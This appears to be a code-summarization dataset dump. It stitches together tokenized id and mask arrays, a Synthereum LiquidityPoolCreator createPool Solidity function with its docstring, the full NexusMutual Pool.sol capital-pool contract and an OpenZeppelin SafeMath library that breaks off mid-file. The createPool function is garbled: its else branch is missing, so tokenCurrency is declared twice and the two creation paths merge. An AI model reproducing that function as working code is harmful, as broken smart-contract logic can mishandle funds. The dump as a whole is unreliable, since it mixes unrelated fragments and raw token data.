0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
24418,
87,
1182,
12,
2867,
3272,
16,
2254,
3844,
382,
16,
1758,
8526,
3778,
589,
13,
2713,
1476,
1135,
261,
11890,
8526,
3778,
30980,
13,
288,
203,
3639,
2583,
12,
803,
18,
2469,
1545,
576,
16,
296,
23539,
1615,
12521,
9313,
30,
10071,
67,
4211,
8284,
203,
3639,
30980,
273,
394,
2254,
8526,
12,
803,
18,
2469,
1769,
203,
3639,
30980,
63,
20,
65,
273,
3844,
382,
31,
203,
3639,
364,
261,
11890,
277,
31,
277,
411,
589,
18,
2469,
300,
404,
31,
277,
27245,
288,
203,
5411,
261,
11890,
20501,
382,
16,
2254,
20501,
1182,
13,
273,
31792,
264,
3324,
12,
6848,
16,
589,
63,
77,
6487,
589,
63,
77,
397,
404,
19226,
203,
5411,
30980,
63,
77,
397,
404,
65,
273,
24418,
1182,
12,
8949,
87,
63,
77,
6487,
20501,
382,
16,
20501,
1182,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/100/0x03BC653285f8527e1C877b18dF285E66898864b3/sources/deploy/contracts/synthereum-pool/v5/LiquidityPoolCreator.sol | * @notice Creates an instance of the pool @param params is a `ConstructorParams` object from LiquidityPool. @return pool address of the deployed pool contract./ Give permissions to new pool contract and then hand over ownership. | function createPool(Params calldata params)
public
virtual
returns (SynthereumLiquidityPool pool)
{
require(bytes(params.syntheticName).length != 0, 'Missing synthetic name');
require(
bytes(params.syntheticSymbol).length != 0,
'Missing synthetic symbol'
);
if (params.syntheticToken == address(0)) {
IMintableBurnableTokenFactory tokenFactory =
IMintableBurnableTokenFactory(
ISynthereumFinder(synthereumFinder).getImplementationAddress(
SynthereumInterfaces.TokenFactory
)
);
BaseControlledMintableBurnableERC20 tokenCurrency =
tokenFactory.createToken(
params.syntheticName,
params.syntheticSymbol,
18
);
pool = new SynthereumLiquidityPool(_convertParams(params, tokenCurrency));
tokenCurrency.addMinter(address(pool));
tokenCurrency.addBurner(address(pool));
tokenCurrency.addAdmin(
synthereumFinder.getImplementationAddress(SynthereumInterfaces.Manager)
);
tokenCurrency.renounceAdmin();
BaseControlledMintableBurnableERC20 tokenCurrency =
BaseControlledMintableBurnableERC20(params.syntheticToken);
require(
keccak256(abi.encodePacked(tokenCurrency.name())) ==
keccak256(abi.encodePacked(params.syntheticName)),
'Wrong synthetic token name'
);
require(
keccak256(abi.encodePacked(tokenCurrency.symbol())) ==
keccak256(abi.encodePacked(params.syntheticSymbol)),
'Wrong synthetic token symbol'
);
pool = new SynthereumLiquidityPool(_convertParams(params, tokenCurrency));
}
emit CreatedPool(address(pool), params.version, msg.sender);
return pool;
}
| 14,269,968 | [
1,
2729,
392,
791,
434,
326,
2845,
225,
859,
353,
279,
1375,
6293,
1370,
68,
733,
628,
511,
18988,
24237,
2864,
18,
327,
2845,
1758,
434,
326,
19357,
2845,
6835,
18,
19,
22374,
4371,
358,
394,
2845,
6835,
471,
1508,
948,
1879,
23178,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
752,
2864,
12,
1370,
745,
892,
859,
13,
203,
565,
1071,
203,
565,
5024,
203,
565,
1135,
261,
10503,
18664,
379,
48,
18988,
24237,
2864,
2845,
13,
203,
225,
288,
203,
565,
2583,
12,
3890,
12,
2010,
18,
11982,
16466,
461,
2934,
2469,
480,
374,
16,
296,
4841,
25535,
508,
8284,
203,
565,
2583,
12,
203,
1377,
1731,
12,
2010,
18,
11982,
16466,
5335,
2934,
2469,
480,
374,
16,
203,
1377,
296,
4841,
25535,
3273,
11,
203,
565,
11272,
203,
203,
565,
309,
261,
2010,
18,
11982,
16466,
1345,
422,
1758,
12,
20,
3719,
288,
203,
1377,
6246,
474,
429,
38,
321,
429,
1345,
1733,
1147,
1733,
273,
203,
3639,
6246,
474,
429,
38,
321,
429,
1345,
1733,
12,
203,
1850,
4437,
878,
18664,
379,
8441,
12,
11982,
18664,
379,
8441,
2934,
588,
13621,
1887,
12,
203,
5411,
16091,
18664,
379,
10273,
18,
1345,
1733,
203,
1850,
262,
203,
3639,
11272,
203,
1377,
3360,
3367,
1259,
49,
474,
429,
38,
321,
429,
654,
39,
3462,
1147,
7623,
273,
203,
3639,
1147,
1733,
18,
2640,
1345,
12,
203,
1850,
859,
18,
11982,
16466,
461,
16,
203,
1850,
859,
18,
11982,
16466,
5335,
16,
203,
1850,
6549,
203,
3639,
11272,
203,
1377,
2845,
273,
394,
16091,
18664,
379,
48,
18988,
24237,
2864,
24899,
6283,
1370,
12,
2010,
16,
1147,
7623,
10019,
203,
1377,
1147,
7623,
18,
1289,
49,
2761,
12,
2867,
12,
6011,
10019,
203,
1377,
1147,
7623,
18,
1289,
38,
321,
264,
12,
2867,
12,
6011,
10019,
203,
1377,
1147,
7623,
18,
1289,
2
]
|
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../abstract/MasterAware.sol";
import "../../interfaces/IPool.sol";
import "../cover/Quotation.sol";
import "../oracles/PriceFeedOracle.sol";
import "../token/NXMToken.sol";
import "../token/TokenController.sol";
import "./MCR.sol";
contract Pool is IPool, MasterAware, ReentrancyGuard {
using Address for address;
using SafeMath for uint;
using SafeERC20 for IERC20;
struct AssetData {
uint112 minAmount;
uint112 maxAmount;
uint32 lastSwapTime;
// 18 decimals of precision. 0.01% -> 0.0001 -> 1e14
uint maxSlippageRatio;
}
/* storage */
address[] public assets;
mapping(address => AssetData) public assetData;
// contracts
Quotation public quotation;
NXMToken public nxmToken;
TokenController public tokenController;
MCR public mcr;
// parameters
address public swapController;
uint public minPoolEth;
PriceFeedOracle public priceFeedOracle;
address public swapOperator;
/* constants */
address constant public ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint public constant MCR_RATIO_DECIMALS = 4;
uint public constant MAX_MCR_RATIO = 40000; // 400%
uint public constant MAX_BUY_SELL_MCR_ETH_FRACTION = 500; // 5%. 4 decimal points
uint internal constant CONSTANT_C = 5800000;
uint internal constant CONSTANT_A = 1028 * 1e13;
uint internal constant TOKEN_EXPONENT = 4;
/* events */
event Payout(address indexed to, address indexed asset, uint amount);
event NXMSold (address indexed member, uint nxmIn, uint ethOut);
event NXMBought (address indexed member, uint ethIn, uint nxmOut);
event Swapped(address indexed fromAsset, address indexed toAsset, uint amountIn, uint amountOut);
/* logic */
modifier onlySwapOperator {
require(msg.sender == swapOperator, "Pool: not swapOperator");
_;
}
constructor (
address[] memory _assets,
uint112[] memory _minAmounts,
uint112[] memory _maxAmounts,
uint[] memory _maxSlippageRatios,
address _master,
address _priceOracle,
address _swapOperator
) public {
require(_assets.length == _minAmounts.length, "Pool: length mismatch");
require(_assets.length == _maxAmounts.length, "Pool: length mismatch");
require(_assets.length == _maxSlippageRatios.length, "Pool: length mismatch");
for (uint i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(asset != address(0), "Pool: asset is zero address");
require(_maxAmounts[i] >= _minAmounts[i], "Pool: max < min");
require(_maxSlippageRatios[i] <= 1 ether, "Pool: max < min");
assets.push(asset);
assetData[asset].minAmount = _minAmounts[i];
assetData[asset].maxAmount = _maxAmounts[i];
assetData[asset].maxSlippageRatio = _maxSlippageRatios[i];
}
master = INXMMaster(_master);
priceFeedOracle = PriceFeedOracle(_priceOracle);
swapOperator = _swapOperator;
}
// fallback function
function() external payable {}
// for legacy Pool1 upgrade compatibility
function sendEther() external payable {}
/**
* @dev Calculates total value of all pool assets in ether
*/
function getPoolValueInEth() public view returns (uint) {
uint total = address(this).balance;
for (uint i = 0; i < assets.length; i++) {
address assetAddress = assets[i];
IERC20 token = IERC20(assetAddress);
uint rate = priceFeedOracle.getAssetToEthRate(assetAddress);
require(rate > 0, "Pool: zero rate");
uint assetBalance = token.balanceOf(address(this));
uint assetValue = assetBalance.mul(rate).div(1e18);
total = total.add(assetValue);
}
return total;
}
/* asset related functions */
function getAssets() external view returns (address[] memory) {
return assets;
}
function getAssetDetails(address _asset) external view returns (
uint112 min,
uint112 max,
uint32 lastAssetSwapTime,
uint maxSlippageRatio
) {
AssetData memory data = assetData[_asset];
return (data.minAmount, data.maxAmount, data.lastSwapTime, data.maxSlippageRatio);
}
function addAsset(
address _asset,
uint112 _min,
uint112 _max,
uint _maxSlippageRatio
) external onlyGovernance {
require(_asset != address(0), "Pool: asset is zero address");
require(_max >= _min, "Pool: max < min");
require(_maxSlippageRatio <= 1 ether, "Pool: max slippage ratio > 1");
for (uint i = 0; i < assets.length; i++) {
require(_asset != assets[i], "Pool: asset exists");
}
assets.push(_asset);
assetData[_asset] = AssetData(_min, _max, 0, _maxSlippageRatio);
}
function removeAsset(address _asset) external onlyGovernance {
for (uint i = 0; i < assets.length; i++) {
if (_asset != assets[i]) {
continue;
}
delete assetData[_asset];
assets[i] = assets[assets.length - 1];
assets.pop();
return;
}
revert("Pool: asset not found");
}
function setAssetDetails(
address _asset,
uint112 _min,
uint112 _max,
uint _maxSlippageRatio
) external onlyGovernance {
require(_min <= _max, "Pool: min > max");
require(_maxSlippageRatio <= 1 ether, "Pool: max slippage ratio > 1");
for (uint i = 0; i < assets.length; i++) {
if (_asset != assets[i]) {
continue;
}
assetData[_asset].minAmount = _min;
assetData[_asset].maxAmount = _max;
assetData[_asset].maxSlippageRatio = _maxSlippageRatio;
return;
}
revert("Pool: asset not found");
}
/* claim related functions */
/**
* @dev Execute the payout in case a claim is accepted
* @param asset token address or 0xEee...EEeE for ether
* @param payoutAddress send funds to this address
* @param amount amount to send
*/
function sendClaimPayout (
address asset,
address payable payoutAddress,
uint amount
) external onlyInternal nonReentrant returns (bool success) {
bool ok;
if (asset == ETH) {
// solhint-disable-next-line avoid-low-level-calls
(ok, /* data */) = payoutAddress.call.value(amount)("");
} else {
ok = _safeTokenTransfer(asset, payoutAddress, amount);
}
if (ok) {
emit Payout(payoutAddress, asset, amount);
}
return ok;
}
/**
* @dev safeTransfer implementation that does not revert
* @param tokenAddress ERC20 address
* @param to destination
* @param value amount to send
* @return success true if the transfer was successfull
*/
function _safeTokenTransfer (
address tokenAddress,
address to,
uint256 value
) internal returns (bool) {
// token address is not a contract
if (!tokenAddress.isContract()) {
return false;
}
IERC20 token = IERC20(tokenAddress);
bytes memory data = abi.encodeWithSelector(token.transfer.selector, to, value);
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = tokenAddress.call(data);
// low-level call failed/reverted
if (!success) {
return false;
}
// tokens that don't have return data
if (returndata.length == 0) {
return true;
}
// tokens that have return data will return a bool
return abi.decode(returndata, (bool));
}
/* pool lifecycle functions */
function transferAsset(
address asset,
address payable destination,
uint amount
) external onlyGovernance nonReentrant {
require(assetData[asset].maxAmount == 0, "Pool: max not zero");
require(destination != address(0), "Pool: dest zero");
IERC20 token = IERC20(asset);
uint balance = token.balanceOf(address(this));
uint transferableAmount = amount > balance ? balance : amount;
token.safeTransfer(destination, transferableAmount);
}
function upgradeCapitalPool(address payable newPoolAddress) external onlyMaster nonReentrant {
// transfer ether
uint ethBalance = address(this).balance;
(bool ok, /* data */) = newPoolAddress.call.value(ethBalance)("");
require(ok, "Pool: transfer failed");
// transfer assets
for (uint i = 0; i < assets.length; i++) {
IERC20 token = IERC20(assets[i]);
uint tokenBalance = token.balanceOf(address(this));
token.safeTransfer(newPoolAddress, tokenBalance);
}
}
/**
* @dev Update dependent contract address
* @dev Implements MasterAware interface function
*/
function changeDependentContractAddress() public {
nxmToken = NXMToken(master.tokenAddress());
tokenController = TokenController(master.getLatestAddress("TC"));
quotation = Quotation(master.getLatestAddress("QT"));
mcr = MCR(master.getLatestAddress("MC"));
}
/* cover purchase functions */
/// @dev Enables user to purchase cover with funding in ETH.
/// @param smartCAdd Smart Contract Address
function makeCoverBegin(
address smartCAdd,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public payable onlyMember whenNotPaused {
require(coverCurr == "ETH", "Pool: Unexpected asset type");
require(msg.value == coverDetails[1], "Pool: ETH amount does not match premium");
quotation.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s);
}
/**
* @dev Enables user to purchase cover via currency asset eg DAI
*/
function makeCoverUsingCA(
address smartCAdd,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public onlyMember whenNotPaused {
require(coverCurr != "ETH", "Pool: Unexpected asset type");
quotation.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s);
}
function transferAssetFrom (address asset, address from, uint amount) public onlyInternal whenNotPaused {
IERC20 token = IERC20(asset);
token.safeTransferFrom(from, address(this), amount);
}
function transferAssetToSwapOperator (address asset, uint amount) public onlySwapOperator nonReentrant whenNotPaused {
if (asset == ETH) {
(bool ok, /* data */) = swapOperator.call.value(amount)("");
require(ok, "Pool: Eth transfer failed");
return;
}
IERC20 token = IERC20(asset);
token.safeTransfer(swapOperator, amount);
}
function setAssetDataLastSwapTime(address asset, uint32 lastSwapTime) public onlySwapOperator whenNotPaused {
assetData[asset].lastSwapTime = lastSwapTime;
}
/* token sale functions */
/**
* @dev (DEPRECATED, use sellTokens function instead) Allows selling of NXM for ether.
* Seller first needs to give this contract allowance to
* transfer/burn tokens in the NXMToken contract
* @param _amount Amount of NXM to sell
* @return success returns true on successfull sale
*/
function sellNXMTokens(uint _amount) public onlyMember whenNotPaused returns (bool success) {
sellNXM(_amount, 0);
return true;
}
/**
* @dev (DEPRECATED, use calculateNXMForEth function instead) Returns the amount of wei a seller will get for selling NXM
* @param amount Amount of NXM to sell
* @return weiToPay Amount of wei the seller will get
*/
function getWei(uint amount) external view returns (uint weiToPay) {
return getEthForNXM(amount);
}
/**
* @dev Buys NXM tokens with ETH.
* @param minTokensOut Minimum amount of tokens to be bought. Revert if boughtTokens falls below this number.
* @return boughtTokens number of bought tokens.
*/
function buyNXM(uint minTokensOut) public payable onlyMember whenNotPaused {
uint ethIn = msg.value;
require(ethIn > 0, "Pool: ethIn > 0");
uint totalAssetValue = getPoolValueInEth().sub(ethIn);
uint mcrEth = mcr.getMCR();
uint mcrRatio = calculateMCRRatio(totalAssetValue, mcrEth);
require(mcrRatio <= MAX_MCR_RATIO, "Pool: Cannot purchase if MCR% > 400%");
uint tokensOut = calculateNXMForEth(ethIn, totalAssetValue, mcrEth);
require(tokensOut >= minTokensOut, "Pool: tokensOut is less than minTokensOut");
tokenController.mint(msg.sender, tokensOut);
// evaluate the new MCR for the current asset value including the ETH paid in
mcr.updateMCRInternal(totalAssetValue.add(ethIn), false);
emit NXMBought(msg.sender, ethIn, tokensOut);
}
/**
* @dev Sell NXM tokens and receive ETH.
* @param tokenAmount Amount of tokens to sell.
* @param minEthOut Minimum amount of ETH to be received. Revert if ethOut falls below this number.
* @return ethOut amount of ETH received in exchange for the tokens.
*/
function sellNXM(uint tokenAmount, uint minEthOut) public onlyMember nonReentrant whenNotPaused {
require(nxmToken.balanceOf(msg.sender) >= tokenAmount, "Pool: Not enough balance");
require(nxmToken.isLockedForMV(msg.sender) <= now, "Pool: NXM tokens are locked for voting");
uint currentTotalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
uint ethOut = calculateEthForNXM(tokenAmount, currentTotalAssetValue, mcrEth);
require(currentTotalAssetValue.sub(ethOut) >= mcrEth, "Pool: MCR% cannot fall below 100%");
require(ethOut >= minEthOut, "Pool: ethOut < minEthOut");
tokenController.burnFrom(msg.sender, tokenAmount);
(bool ok, /* data */) = msg.sender.call.value(ethOut)("");
require(ok, "Pool: Sell transfer failed");
// evaluate the new MCR for the current asset value excluding the paid out ETH
mcr.updateMCRInternal(currentTotalAssetValue.sub(ethOut), false);
emit NXMSold(msg.sender, tokenAmount, ethOut);
}
/**
* @dev Get value in tokens for an ethAmount purchase.
* @param ethAmount amount of ETH used for buying.
* @return tokenValue tokens obtained by buying worth of ethAmount
*/
function getNXMForEth(
uint ethAmount
) public view returns (uint) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateNXMForEth(ethAmount, totalAssetValue, mcrEth);
}
function calculateNXMForEth(
uint ethAmount,
uint currentTotalAssetValue,
uint mcrEth
) public pure returns (uint) {
require(
ethAmount <= mcrEth.mul(MAX_BUY_SELL_MCR_ETH_FRACTION).div(10 ** MCR_RATIO_DECIMALS),
"Pool: Purchases worth higher than 5% of MCReth are not allowed"
);
/*
The price formula is:
P(V) = A + MCReth / C * MCR% ^ 4
where MCR% = V / MCReth
P(V) = A + 1 / (C * MCReth ^ 3) * V ^ 4
To compute the number of tokens issued we can integrate with respect to V the following:
ΔT = ΔV / P(V)
which assumes that for an infinitesimally small change in locked value V price is constant and we
get an infinitesimally change in token supply ΔT.
This is not computable on-chain, below we use an approximation that works well assuming
* MCR% stays within [100%, 400%]
* ethAmount <= 5% * MCReth
Use a simplified formula excluding the constant A price offset to compute the amount of tokens to be minted.
AdjustedP(V) = 1 / (C * MCReth ^ 3) * V ^ 4
AdjustedP(V) = 1 / (C * MCReth ^ 3) * V ^ 4
For a very small variation in tokens ΔT, we have, ΔT = ΔV / P(V), to get total T we integrate with respect to V.
adjustedTokenAmount = ∫ (dV / AdjustedP(V)) from V0 (currentTotalAssetValue) to V1 (nextTotalAssetValue)
adjustedTokenAmount = ∫ ((C * MCReth ^ 3) / V ^ 4 * dV) from V0 to V1
Evaluating the above using the antiderivative of the function we get:
adjustedTokenAmount = - MCReth ^ 3 * C / (3 * V1 ^3) + MCReth * C /(3 * V0 ^ 3)
*/
if (currentTotalAssetValue == 0 || mcrEth.div(currentTotalAssetValue) > 1e12) {
/*
If the currentTotalAssetValue = 0, adjustedTokenPrice approaches 0. Therefore we can assume the price is A.
If currentTotalAssetValue is far smaller than mcrEth, MCR% approaches 0, let the price be A (baseline price).
This avoids overflow in the calculateIntegralAtPoint computation.
This approximation is safe from arbitrage since at MCR% < 100% no sells are possible.
*/
uint tokenPrice = CONSTANT_A;
return ethAmount.mul(1e18).div(tokenPrice);
}
// MCReth * C /(3 * V0 ^ 3)
uint point0 = calculateIntegralAtPoint(currentTotalAssetValue, mcrEth);
// MCReth * C / (3 * V1 ^3)
uint nextTotalAssetValue = currentTotalAssetValue.add(ethAmount);
uint point1 = calculateIntegralAtPoint(nextTotalAssetValue, mcrEth);
uint adjustedTokenAmount = point0.sub(point1);
/*
Compute a preliminary adjustedTokenPrice for the minted tokens based on the adjustedTokenAmount above,
and to that add the A constant (the price offset previously removed in the adjusted Price formula)
to obtain the finalPrice and ultimately the tokenValue based on the finalPrice.
adjustedPrice = ethAmount / adjustedTokenAmount
finalPrice = adjustedPrice + A
tokenValue = ethAmount / finalPrice
*/
// ethAmount is multiplied by 1e18 to cancel out the multiplication factor of 1e18 of the adjustedTokenAmount
uint adjustedTokenPrice = ethAmount.mul(1e18).div(adjustedTokenAmount);
uint tokenPrice = adjustedTokenPrice.add(CONSTANT_A);
return ethAmount.mul(1e18).div(tokenPrice);
}
/**
* @dev integral(V) = MCReth ^ 3 * C / (3 * V ^ 3) * 1e18
* computation result is multiplied by 1e18 to allow for a precision of 18 decimals.
* NOTE: omits the minus sign of the correct integral to use a uint result type for simplicity
* WARNING: this low-level function should be called from a contract which checks that
* mcrEth / assetValue < 1e17 (no overflow) and assetValue != 0
*/
function calculateIntegralAtPoint(
uint assetValue,
uint mcrEth
) internal pure returns (uint) {
return CONSTANT_C
.mul(1e18)
.div(3)
.mul(mcrEth).div(assetValue)
.mul(mcrEth).div(assetValue)
.mul(mcrEth).div(assetValue);
}
function getEthForNXM(uint nxmAmount) public view returns (uint ethAmount) {
uint currentTotalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateEthForNXM(nxmAmount, currentTotalAssetValue, mcrEth);
}
/**
* @dev Computes token sell value for a tokenAmount in ETH with a sell spread of 2.5%.
* for values in ETH of the sale <= 1% * MCReth the sell spread is very close to the exact value of 2.5%.
* for values higher than that sell spread may exceed 2.5%
* (The higher amount being sold at any given time the higher the spread)
*/
function calculateEthForNXM(
uint nxmAmount,
uint currentTotalAssetValue,
uint mcrEth
) public pure returns (uint) {
// Step 1. Calculate spot price at current values and amount of ETH if tokens are sold at that price
uint spotPrice0 = calculateTokenSpotPrice(currentTotalAssetValue, mcrEth);
uint spotEthAmount = nxmAmount.mul(spotPrice0).div(1e18);
// Step 2. Calculate spot price using V = currentTotalAssetValue - spotEthAmount from step 1
uint totalValuePostSpotPriceSell = currentTotalAssetValue.sub(spotEthAmount);
uint spotPrice1 = calculateTokenSpotPrice(totalValuePostSpotPriceSell, mcrEth);
// Step 3. Min [average[Price(0), Price(1)] x ( 1 - Sell Spread), Price(1) ]
// Sell Spread = 2.5%
uint averagePriceWithSpread = spotPrice0.add(spotPrice1).div(2).mul(975).div(1000);
uint finalPrice = averagePriceWithSpread < spotPrice1 ? averagePriceWithSpread : spotPrice1;
uint ethAmount = finalPrice.mul(nxmAmount).div(1e18);
require(
ethAmount <= mcrEth.mul(MAX_BUY_SELL_MCR_ETH_FRACTION).div(10 ** MCR_RATIO_DECIMALS),
"Pool: Sales worth more than 5% of MCReth are not allowed"
);
return ethAmount;
}
function calculateMCRRatio(uint totalAssetValue, uint mcrEth) public pure returns (uint) {
return totalAssetValue.mul(10 ** MCR_RATIO_DECIMALS).div(mcrEth);
}
/**
* @dev Calculates token price in ETH 1 NXM token. TokenPrice = A + (MCReth / C) * MCR%^4
*/
function calculateTokenSpotPrice(uint totalAssetValue, uint mcrEth) public pure returns (uint tokenPrice) {
uint mcrRatio = calculateMCRRatio(totalAssetValue, mcrEth);
uint precisionDecimals = 10 ** TOKEN_EXPONENT.mul(MCR_RATIO_DECIMALS);
return mcrEth
.mul(mcrRatio ** TOKEN_EXPONENT)
.div(CONSTANT_C)
.div(precisionDecimals)
.add(CONSTANT_A);
}
/**
* @dev Returns the NXM price in a given asset
* @param asset Asset name.
*/
function getTokenPrice(address asset) public view returns (uint tokenPrice) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
uint tokenSpotPriceEth = calculateTokenSpotPrice(totalAssetValue, mcrEth);
return priceFeedOracle.getAssetForEth(asset, tokenSpotPriceEth);
}
function getMCRRatio() public view returns (uint) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateMCRRatio(totalAssetValue, mcrEth);
}
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "MIN_ETH") {
minPoolEth = value;
return;
}
revert("Pool: unknown parameter");
}
function updateAddressParameters(bytes8 code, address value) external onlyGovernance {
if (code == "SWP_OP") {
swapOperator = value;
return;
}
if (code == "PRC_FEED") {
priceFeedOracle = PriceFeedOracle(value);
return;
}
revert("Pool: unknown parameter");
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
